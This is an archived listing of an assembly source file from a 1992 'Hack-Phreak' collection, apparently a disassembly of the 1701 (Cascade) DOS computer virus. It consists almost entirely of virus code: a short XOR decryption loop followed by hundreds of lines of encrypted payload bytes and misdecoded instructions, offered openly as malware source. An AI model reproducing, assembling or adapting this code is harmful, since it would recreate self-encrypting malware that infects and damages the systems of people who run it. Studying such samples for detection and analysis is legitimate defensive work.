home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / 1701.ASM < prev    next >
Assembly Source File  |  1992-10-09  |  12KB  |  428 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    1701                         ██
  7. ;██                                         ██
  8. ;██      Created:   11-Feb-92                             ██
  9. ;██      Passes:    5           Analysis Options on: none             ██
  10. ;██                                         ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.  
  13. data_31e    equ    27D1h            ;*
  14. data_36e    equ    4CD6h            ;*
  15. data_39e    equ    6950h            ;*
  16. data_45e    equ    8848h            ;*
  17. data_50e    equ    0BDF1h            ;*
  18. data_53e    equ    0CBC7h            ;*
  19. data_55e    equ    0EA36h            ;*
  20. data_58e    equ    49F2h
  21. data_59e    equ    0B0E0h
  22. data_60e    equ    0BCF1h
  23. data_61e    equ    0EAEFh
  24.  
  25. seg_a        segment    byte public
  26.         assume    cs:seg_a, ds:seg_a
  27.  
  28.  
  29.         org    100h
  30.  
  31. 1701        proc    far
  32.  
  33. start:
  34.         jmp    loc_2
  35.         db    39 dup (0)
  36. data_22        db    0            ; Data table (indexed access)
  37.         db    58 dup (0)
  38. loc_2:
  39.         cli                ; Disable interrupts
  40.         mov    bp,sp
  41.         call    sub_1
  42.  
  43. 1701        endp
  44.  
  45. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  46. ;                   SUBROUTINE
  47. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  48.  
  49. sub_1        proc    near
  50.         pop    bx
  51.         sub    bx,131h
  52.         test    cs:data_22[bx],1
  53.         jz    $+11h            ; Jump if zero
  54.         lea    si,[bx+14Dh]        ; Load effective addr
  55.         mov    sp,682h
  56. loc_4:
  57.         xor    [si],si
  58.         xor    [si],sp
  59.         inc    si
  60.         dec    sp
  61.         jnz    loc_4            ; Jump if not zero
  62.         db     8Eh,0EBh,0E5h,0BDh, 62h,0F6h
  63.         db    0F7h, 06h,0EFh,0EEh,0EEh, 2Fh
  64.         db    0C2h,0E6h,0E6h,0E2h,0B1h, 11h
  65.         db    0EEh, 02h, 6Ch,0F8h, 36h,0EAh
  66.         db     3Bh,0DCh,0E0h,0C3h,0C2h,0C6h
  67.         db    0E6h,0C2h
  68.  
  69. locloop_5:
  70.         mov    si,dx
  71.         push    es
  72.         db    0F1h, 60h,0D4h,0ABh, 69h, 96h
  73.         db    0EEh,0EEh,0E2h, 0Bh, 06h,0DBh
  74.         db    0E2h
  75.         db    0E2h,0EEh,0EEh,0F2h,0FAh,0F6h
  76.         db    0F6h
  77. loc_7:
  78.         db    0F2h,0F2h, 7Ah, 87h, 61h
  79. loc_9:
  80.         test    ah,[di-80h]
  81.         add    byte ptr [bp+si-7171h],0F6h
  82.         jc    loc_9            ; Jump if carry Set
  83.         div    dl            ; al, ah rem = ax/reg
  84.         db    0F2h,0EEh,0EEh,0E2h,0E3h, 1Bh
  85.         db     16h,0C2h
  86.         db    0C2h,0CEh
  87.         db    0CEh, 1Ah,0F2h,0F6h,0ADh, 73h
  88.         db     19h, 6Dh,0CFh,0ECh, 4Eh, 49h
  89.         db     92h,0C3h,0ECh, 47h, 49h,0A4h
  90.         db    0F3h,0D8h, 7Dh, 75h,0AAh,0EFh
  91.         db     4Dh,0E2h,0E3h,0C8h, 6Ch, 65h
  92.         db    0B8h,0EFh, 4Ch,0F0h,0F3h,0A5h
  93.         db     42h,0C2h, 3Fh, 2Fh, 56h, 3Dh
  94.         db     03h, 77h, 14h,0B9h,0FEh, 46h
  95.         db     3Eh, 0Eh,0C1h, 00h, 3Bh,0D3h
  96.         db     73h, 11h, 44h,0B7h, 97h,0E9h
  97.         db     94h,0F4h
  98.         db     19h,0F0h,0E9h,0DCh, 79h, 71h
  99.         db    0A0h,0F3h,0DCh, 31h, 61h, 90h
  100.         db    0C3h, 95h, 7Eh,0E3h,0F7h, 03h
  101.         db    0EFh, 79h, 31h,0ADh,0D8h, 7Bh
  102.         db     75h, 8Fh,0EFh,0CCh, 6Eh, 61h
  103.         db     85h,0E3h, 5Ah,0EEh, 1Eh, 7Ch
  104.         db     32h, 49h,0FEh, 12h, 73h,0B3h
  105.         db    0CDh,0CDh,0F7h, 9Dh, 07h,0FFh
  106.         db     80h,0DEh,0DCh, 87h,0E6h, 77h
  107.         db     8Bh,0F6h,0DCh
  108. loc_14:
  109.         into                ; Int 4 on overflow
  110.         db     9Bh,0EFh, 63h, 9Bh,0E0h,0ABh
  111.         db    0A0h, 9Bh,0E8h, 71h, 8Fh,0FEh
  112.         db    0BBh, 86h, 45h, 76h,0B5h,0C2h
  113.         db     4Eh, 0Bh, 8Bh, 4Ch, 07h,0E0h
  114.         db     45h,0C4h,0E4h,0F6h,0D0h, 7Bh
  115.         db    0C4h,0EFh,0EEh,0C4h, 69h,0F0h
  116.         db    0E5h,0E2h,0C4h, 4Dh,0EDh,0F2h
  117.         db    0D4h, 30h,0F0h,0F2h,0F2h, 43h
  118.         db     25h,0D2h, 48h, 43h, 05h,0EAh
  119.         db     47h, 80h,0CBh,0A1h, 46h,0A6h
  120.         db     7Dh, 2Fh, 3Fh,0CFh,0B5h,0D1h
  121.         db     1Dh,0E0h,0F1h,0B5h, 6Fh, 51h
  122.         db     20h,0F5h, 79h, 01h
  123.         db    4Fh
  124.         db     57h,0F4h, 33h, 3Dh, 66h,0C4h
  125. loc_16:
  126.         dec    bx
  127.         dec    cx
  128.         mov    dl,0C0h
  129.         lahf                ; Load ah from flags
  130.         add    ax,7EDCh
  131.         jns    loc_14            ; Jump if not sign
  132.         db    0F3h, 7Fh, 61h,0C4h,0E3h, 11h
  133.         db     42h,0C8h, 6Eh,0ECh,0D8h,0EEh
  134.         db    0BFh, 7Ch, 33h,0D0h
  135.         db     7Bh,0E4h, 8Dh, 8Eh,0A4h, 44h
  136.         db     80h
  137.         db     86h, 82h,0D8h,0A8h, 02h,0FCh
  138.         db    0F3h
  139. loc_19:
  140.         div    byte ptr [bp+di+377Ch]    ; al,ah rem = ax/data
  141.            lock    jmp    $-211h
  142. sub_1        endp
  143.  
  144.         db     6Bh, 51h,0C8h,0E3h, 51h,0EEh
  145.         db    0F3h, 4Bh, 53h,0F0h, 0Eh, 01h
  146.         db     6Ah,0C8h, 4Fh,0C4h, 42h,0C4h
  147.         db     92h
  148.         db    9
  149.         db    0E0h, 09h,0F4h,0DEh,0F6h,0F6h
  150.         db    0F2h,0DCh, 62h,0E0h,0F4h,0E2h
  151.         db    0F8h, 6Bh,0F4h,0FEh,0EDh,0E0h
  152.         db    0EDh, 4Ah,0D7h,0D3h, 3Fh,0D3h
  153.         db     11h,0BBh, 19h,0B9h, 87h, 07h
  154.         db    0CEh, 22h,0E7h,0FCh,0F2h, 46h
  155.         db    0DCh, 3Bh,0D3h, 73h, 17h, 2Ah
  156.         db    0E5h, 95h, 83h, 92h,0C8h, 63h
  157.         db     17h, 52h,0F5h, 87h,0ABh,0E8h
  158.         db     4Ah,0DAh,0FBh, 03h,0E3h,0ECh
  159.         db     4Fh,0D8h,0F9h,0C3h,0E0h
  160.         db    42h
  161.         db    0F4h,0CFh,0F7h, 4Eh,0DAh,0D7h
  162.         db     54h,0CCh,0E5h,0ECh,0F9h, 2Bh
  163.         db    0C3h,0FDh,0C0h, 6Eh,0FCh,0A5h
  164.         db    0F7h,0FEh, 19h,0F4h, 1Eh, 0Eh
  165. loc_22:
  166.         jl    loc_19            ; Jump if <
  167.         hlt                ; Halt processor
  168.         mov    dl,6Ah            ; 'j'
  169.         dec    word ptr ds:data_55e[si]
  170.         out    1Eh,ax            ; port 1Eh ??I/O Non-standard
  171.         jc    loc_22            ; Jump if carry Set
  172.         mov    dl,0C0h
  173.         dec    bp
  174.         mov    sp,0C8E3h
  175.         inc    bp
  176.         and    bl,0C0h
  177.         sub    sp,si
  178.         xchg    ax,si
  179.         div    di            ; ax,dx rem=dx:ax/reg
  180.         db    0F2h, 4Ah,0D2h,0FBh, 0Fh,0E3h
  181.         db    0E8h, 4Fh,0DCh,0F1h,0CFh,0E0h
  182.         db     7Eh,0F4h
  183.         db    0C3h,0F7h,0ECh, 4Ah,0F2h,0CBh
  184.         db     58h, 5Fh,0E0h,0E8h,0FDh, 2Fh
  185.         db    0CFh,0F1h, 49h, 24h, 09h, 1Fh
  186.         db     65h, 0Ch, 8Eh,0F2h, 49h, 76h
  187.         db     16h, 28h,0FDh, 2Ch, 39h, 0Fh
  188.         db     4Dh, 58h,0A3h,0D8h, 36h,0F4h
  189.         db    0D9h,0EFh, 6Eh, 28h, 29h,0DAh
  190.         db     1Dh, 96h, 1Fh,0D2h,0F2h, 87h
  191.         db     1Eh, 6Ah,0A2h,0A1h, 9Fh, 9Ch
  192.         db     94h, 95h, 93h,0C0h,0DCh,0ECh
  193.         db     47h,0D8h,0B5h,0F3h,0D8h, 7Ah
  194.         db    0ECh,0BBh,0EFh,0E0h,0E5h, 5Ah
  195.         db    0E6h,0DBh, 2Fh,0C3h, 9Ch,0B8h
  196.         db     79h, 2Ah, 4Eh,0F6h,0A5h, 3Fh
  197.         db    0AFh,0A0h, 0Bh, 94h,0C5h, 87h
  198.         db    0ACh, 0Bh, 80h,0CBh,0F3h, 46h
  199.         db    0C9h,0F8h,0EDh, 48h,0C0h,0EFh
  200.         db     5Bh,0E1h,0E6h, 2Bh,0C3h, 90h
  201.         db    0D9h,0D5h, 33h, 87h,0C5h, 4Eh
  202.         db    0F0h,0B0h,0FDh, 07h,0F1h, 10h
  203.         db     0Bh,0E7h,0ECh, 61h, 85h
  204.         db    0CFh,0DCh, 7Bh,0E0h,0BBh,0F3h
  205.         db     46h,0D0h, 23h,0C3h,0CCh, 67h
  206.         db    0D8h,0CCh,0E3h,0A3h,0B4h, 87h
  207.         db    0F1h, 1Fh, 31h,0F2h,0DCh, 8Dh
  208.         db     37h, 48h, 04h, 01h, 76h, 0Ch
  209.         db     2Bh, 88h, 37h,0BEh,0F3h,0CDh
  210.         db     0Fh, 84h,0F1h, 07h, 5Dh,0E2h
  211.         db    0CCh, 66h,0D8h,0CCh,0E3h, 07h
  212.         db     9Bh,0FCh,0DCh
  213.         db    57h
  214. loc_27:
  215.         mov    bp,0F7F3h
  216.         xchg    ax,di
  217.         aaa                ; Ascii adjust
  218.         in    al,dx            ; port 0C0h, DMA-2 bas&add ch 0
  219.         stc                ; Set carry flag
  220.         db    0C0h,0E9h
  221.         db    0C3h,0B6h, 29h, 76h,0F2h,0B1h
  222.         db    0D8h, 33h,0E4h,0B5h,0EFh, 23h
  223.         db    0C3h, 90h, 3Dh,0C8h, 6Bh,0ECh
  224.         db    0AFh,0EFh, 72h, 03h,0D6h, 00h
  225.         db     33h,0D5h,0FAh, 87h, 3Ah, 83h
  226.         db    0C5h,0B5h, 4Bh, 4Fh,0AFh
  227.         db    0FCh, 37h, 4Ah,0F4h
  228.         db    0CBh, 3Fh,0D3h, 9Ch, 50h, 69h
  229.         db     3Ah, 5Eh,0E4h,0A0h,0D1h, 27h
  230.         db    0DDh, 20h, 3Fh,0D7h, 1Eh,0A2h
  231.         db    0F1h,0BDh,0D6h, 7Ah,0C2h, 84h
  232.         db    0E8h, 49h,0CCh, 83h,0CFh,0DCh
  233.         db     79h,0E0h,0BDh,0F3h, 3Fh,0CFh
  234.         db     5Ah,0A2h,0D1h, 2Fh, 2Bh,0C3h
  235.         db     09h,0CFh, 7Eh
  236.         db     4Ah,0F2h,0B4h,0C5h, 3Bh,0C1h
  237.         db    0DCh,0C3h, 23h, 70h, 13h, 28h
  238.         db    0A3h, 49h, 0Fh, 0Bh, 0Ch, 0Dh
  239.         db    0D8h, 55h,0A2h,0F3h, 5Ah,0AEh
  240.         db     58h,0ADh,0E7h, 5Fh,0E1h,0E2h
  241.         db     23h,0CFh, 4Ah,0F3h,0A1h,0D8h
  242.         db     79h,0E4h, 8Dh,0CFh,0ECh, 49h
  243.         db    0C8h, 83h,0C3h, 0Fh,0EFh, 7Ah
  244.         db    0CCh, 3Fh,0D7h,0D8h, 79h,0FCh
  245.         db    0AFh,0EFh, 14h, 23h,0E1h, 93h
  246.         db    0E7h, 14h, 2Fh,0CEh, 87h,0F8h
  247.         db     4Eh,0F7h,0B1h,0DCh, 4Bh, 98h
  248.         db    0C5h, 83h, 4Bh,0A7h, 9Dh, 85h
  249.         db    0D3h,0D1h,0ACh,0A8h,0AFh,0ADh
  250.         db    0AAh, 6Fh, 07h, 5Ch, 1Ch,0FCh
  251.         db    0E8h
  252. loc_33:
  253.         stc                ; Set carry flag
  254.         mov    cl,0B3h
  255.         mov    sp,4BBEh
  256.         cmc                ; Complement carry
  257.         db    0F6h, 4Dh, 86h,0F3h, 31h,0F9h
  258.         db     49h, 85h, 38h,0D7h,0C5h, 89h
  259.         db     85h
  260.         db     2Ch, 05h,0AAh,0E7h,0F1h, 79h
  261.         db    0E5h,0B6h,0E5h, 22h, 96h,0E4h
  262.         db     11h, 00h, 69h, 2Ch,0B4h,0ABh
  263.         db    0A9h,0E9h, 35h,0ECh,0F4h, 58h
  264.         db     58h, 52h, 0Dh, 00h,0BEh, 43h
  265.         db     03h, 81h,0D6h, 4Ch, 94h,0F7h
  266.         db     48h, 9Eh,0F2h, 57h,0E6h,0E2h
  267.         db     1Eh, 15h, 43h,0BBh,0BDh,0B0h
  268.         db    0E9h,0EDh, 31h,0A0h,0E8h,0A0h
  269.         db     78h, 08h, 38h,0E4h, 90h,0C7h
  270.         db     70h,0C2h,0C1h
  271.         db    0Ch
  272.         db     1Fh, 12h,0F1h,0F0h,0ACh,0F3h
  273.         db     79h, 1Eh, 18h,0E4h,0B6h,0E7h
  274.         db     19h, 6Ch,0FCh,0B6h,0EFh, 86h
  275.         db    0E0h, 4Ch, 2Ch,0F1h, 08h, 62h
  276.         db     26h, 8Ah,0F7h, 8Fh, 2Eh, 83h
  277.         db    0F7h, 79h, 62h, 5Ah,0F3h, 82h
  278.         db     0Dh, 5Fh
  279.         db     09h,0B4h,0F1h,0BCh, 21h,0B1h
  280.         db    0E0h,0B0h,0B1h, 65h, 36h, 78h
  281.         db     34h, 00h,0D0h,0A0h,0F3h, 78h
  282.         db    0CEh,0C1h, 00h, 17h, 26h,0C1h
  283.         db    0C4h, 94h,0CFh, 79h, 0Ah, 00h
  284.         db    0F0h,0A6h,0F3h, 11h, 60h,0E4h
  285.         db    0BAh,0E7h, 92h,0F0h, 58h, 34h
  286.         db    0EDh, 08h, 1Eh, 5Eh,0FEh, 87h
  287.         db    0FBh,0A6h, 0Fh, 77h,0F5h,0EAh
  288.         db    0AEh, 03h, 76h,0F5h, 85h, 31h
  289.         db     58h, 0Dh,0ADh,0A8h,0F5h,0B1h
  290.         db     2Dh,0B3h,0B3h, 6Dh,0E8h,0BEh
  291.         db    0E3h, 0Ch, 10h,0ABh, 10h, 00h
  292.         db    0AFh, 31h,0A2h, 2Ah,0AFh,0F6h
  293.         db    0C0h,0E2h, 38h, 24h,0A3h, 96h
  294.         db     0Dh,0CEh,0F2h, 82h,0FCh,0CEh
  295.         db    0D2h, 9Ah,0E8h,0DEh, 1Dh, 92h
  296.         db    0E4h, 1Ah, 21h, 17h, 2Dh,0CEh
  297.         db     42h, 84h,0F0h,0CEh, 2Dh,0F9h
  298.         db     8Ch, 7Bh, 41h, 7Eh, 45h, 9Ch
  299.         db     3Ah,0CEh, 8Eh, 7Ch, 2Ah, 0Dh
  300.         db     57h, 9Eh,0F2h,0D5h,0E8h, 8Eh
  301.         db    0E2h, 92h, 1Ch,0D1h
  302. loc_37:
  303.         sub    cx,[bx-7Eh]
  304.         db    0F2h,0B3h, 82h,0E3h,0C9h,0F4h
  305.         db    0A2h,0CEh,0B6h, 35h,0D9h, 4Dh
  306.         db     03h,0F1h, 1Ch, 77h,0FDh,0F2h
  307.         db     01h, 07h,0DCh, 51h,0B2h,0EFh
  308.         db     21h,0ABh
  309.         db     0Dh, 08h
  310.         db     24h,0E4h
  311.         db    0BDh,0EFh,0EAh,0ECh, 4Eh,0B6h
  312.         db    0F2h, 7Ch,0D6h,0ACh, 4Fh, 01h
  313.         db     1Ah,0A6h, 5Bh, 00h,0BFh,0F2h
  314.         db     49h,0C2h,0E7h, 41h,0F2h,0F4h
  315.         db    0BBh, 23h,0F2h,0BFh,0E1h, 66h
  316.         db     18h, 1Dh, 9Ah,0EAh, 7Ah,0E4h
  317.         db    0A5h,0F7h, 46h,0FDh, 03h,0DEh
  318.         db     4Ah,0E4h, 94h,0C7h, 04h,0C4h
  319.         db     9Ah,0CFh,0F2h, 35h,0F0h,0AEh
  320.         db    0F3h,0F2h, 5Eh,0D2h,0E5h, 96h
  321.         db    0D0h, 94h
  322.         db    0E1h, 0Bh, 0Eh,0EEh, 35h,0F4h
  323.         db    0AEh,0F7h,0F2h, 4Ah,0B2h, 8Dh
  324.         db    0F5h
  325.  
  326. locloop_40:
  327.         movsw                ; Mov [si] to es:[di]
  328. ;*        mov    dx,offset loc_46    ;*
  329.         db    0BAh, 84h,0F0h
  330.         mov    ax,ds:data_45e
  331.         cmpsb                ; Cmp [si] to es:[di]
  332.         db    0F3h,0F7h, 56h,0A1h,0F3h, 10h
  333.         db     2Eh, 14h,0C4h,0B4h,0E7h, 41h
  334.         db     80h,0EFh, 4Fh, 96h,0F3h,0CDh
  335.         db    0F0h, 90h,0F3h,0B8h,0CDh, 63h
  336.         db    0A0h,0C7h, 2Eh,0A9h, 3Ch, 8Eh
  337.         db     45h, 02h,0C1h, 09h,0B1h, 53h
  338.         db     90h,0EFh, 3Fh, 02h,0D9h, 1Eh
  339.         db     90h,0E1h, 0Bh, 4Eh,0EEh, 72h
  340.         db    0FCh,0A1h,0F7h,0F0h, 52h, 5Ch
  341.         db     0Fh,0B6h, 02h,0EEh, 4Ah,0FCh
  342.         db     88h,0DEh,0AEh,0A1h,0F3h, 42h
  343.         db    0F6h, 1Ah,0B0h, 10h, 64h, 12h
  344.         db     0Ah, 60h, 18h, 0Ah,0F3h, 11h
  345.         db     9Ch, 20h, 1Ah,0EAh, 09h, 80h
  346.         db     3Fh, 6Ch, 9Bh,0C3h, 4Ah,0E0h
  347.         db     90h,0C3h, 48h,0C0h, 9Dh,0F3h
  348.         db     47h,0F6h, 08h, 34h,0C8h,0D8h
  349.         db    0BDh,0E3h, 95h,0B4h, 0Eh, 86h
  350.         db     1Ch,0D4h,0C8h,0A4h,0F3h, 83h
  351.         db    0BFh, 1Ah, 1Bh, 70h,0FCh,0AAh
  352.         db     6Ah, 72h, 78h,0F0h,0BDh, 70h
  353.         db     48h,0C8h,0C4h,0A5h,0F7h, 85h
  354.         db    0C5h, 06h,0A7h, 1Ch,0D8h,0C0h
  355.         db    0B0h,0E3h, 97h,0C0h, 06h, 3Ch
  356.         db     0Ch, 85h, 13h, 1Ah, 4Ch, 30h
  357.         db     30h, 0Ch, 2Ah,0F0h, 38h, 60h
  358.         db     97h,0CFh, 30h, 34h, 72h,0D0h
  359.         db    0A1h,0F3h, 0Fh, 10h, 20h, 52h
  360.         db    0C2h, 0Eh,0BBh, 1Ch, 1Ch, 28h
  361.         db     4Eh,0A7h,0F3h, 1Eh,0A3h, 0Ch
  362.         db     11h, 0Ah,0E7h, 8Dh,0FDh, 4Eh
  363.         db    0ECh,0A5h,0F5h, 09h, 58h,0F2h
  364.         db    0F0h, 82h,0F5h, 1Bh,0AEh, 11h
  365.         db     06h, 69h, 1Ch,0A8h, 92h,0E1h
  366.         db     0Bh,0BFh, 11h, 16h, 93h,0D2h
  367.         db     0Ah, 14h, 93h, 0Dh,0E0h, 34h
  368.         db    0C4h, 91h,0C7h,0CBh,0B7h, 96h
  369.         db    0E0h, 72h,0FCh,0A1h,0F7h,0F3h
  370.         db    0DCh, 11h,0E0h,0BCh,0E3h, 93h
  371.         db    0A3h,0FCh
  372.  
  373. locloop_41:
  374.         in    al,0E0h            ; port 0E0h, Memory encode reg2
  375.         db    0F1h,0FCh,0F5h,0A6h,0A5h,0A3h
  376.         db    0A0h,0D8h,0D9h,0D7h, 32h,0A6h
  377.         db     60h,0A2h, 23h,0EEh, 8Fh,0CFh
  378.         db    0CAh,0F2h, 85h,0F1h, 4Ah,0D6h
  379.         db    0EAh, 0Ah, 9Ch, 1Bh,0A6h, 41h
  380.         db    0BCh,0EFh, 4Dh, 92h,0F3h, 1Eh
  381.         db     61h, 0Ch, 4Ah,0CDh,0CEh, 2Ah
  382.         db    0ACh, 3Bh, 86h, 35h,0E4h,0AAh
  383.         db    0CFh, 81h,0F1h, 4Eh, 09h, 0Dh
  384.         db     51h, 8Ah,0EFh,0BFh,0BDh,0B8h
  385.         db    0BCh,0BBh,0B9h,0B6h,0E9h,0EDh
  386.         db    0DCh, 76h,0D0h,0A5h,0F3h,0F0h
  387.         db     20h,0FDh, 2Ch, 35h, 07h, 2Ch
  388.         db    0F4h, 08h, 59h,0F3h,0FAh, 82h
  389.         db    0EBh,0A2h,0A3h,0BCh, 5Ah,0C8h
  390.         db     2Fh,0C7h, 67h, 1Bh, 26h,0E9h
  391.         db     9Ch,0FFh, 85h,0F3h
  392.  
  393. locloop_42:
  394.         jbe    loc_45            ; Jump if below or =
  395.         clc                ; Clear carry flag
  396.         mov    sp,0ECC8h
  397.         inc    dx
  398.         loopnz    locloop_41        ; Loop if zf=0, cx>0
  399.  
  400.         retn
  401.         db     35h, 94h
  402.         db    97h
  403.         db    0AAh
  404. loc_45:
  405.         esc    4,[bx+di]        ; coprocessor escape
  406.         esc    0,cl            ; coprocessor escape
  407.         db    0F3h,0E8h,0BDh, 56h,0AAh, 5Dh
  408.         db     8Dh,0E2h, 2Fh,0CFh,0B5h, 81h
  409.         db    0F1h, 0Fh,0F1h, 31h,0DCh, 48h
  410.         db     88h, 82h, 83h, 87h, 08h, 42h
  411.         db     8Ch, 91h,0BDh, 0Dh, 4Ch,0F6h
  412.         db    0F7h, 4Bh, 57h,0E8h, 12h, 11h
  413.         db     46h, 59h,0C5h,0E2h, 5Ch,0CDh
  414.         db    0EFh,0F1h,0C4h,0BDh,0F7h, 4Bh
  415.         db     70h,0C8h,0E8h,0F3h,0F7h,0E0h
  416.         db    0F7h,0CFh, 85h, 88h, 2Ch, 04h
  417.         db     7Ch, 2Eh, 42h,0B2h,0C1h, 3Ch
  418.         db     57h, 47h,0E4h, 2Bh,0C7h, 7Eh
  419.         db    0B2h, 5Ah,0A7h, 3Fh,0D3h,0AEh
  420.         db     6Bh,0FCh,0EDh, 7Ch,0BBh, 36h
  421.         db    0CCh, 7Ch,0BFh, 0Ah,0F5h,0C2h
  422.  
  423. seg_a        ends
  424.  
  425.  
  426.  
  427.         end    start
  428.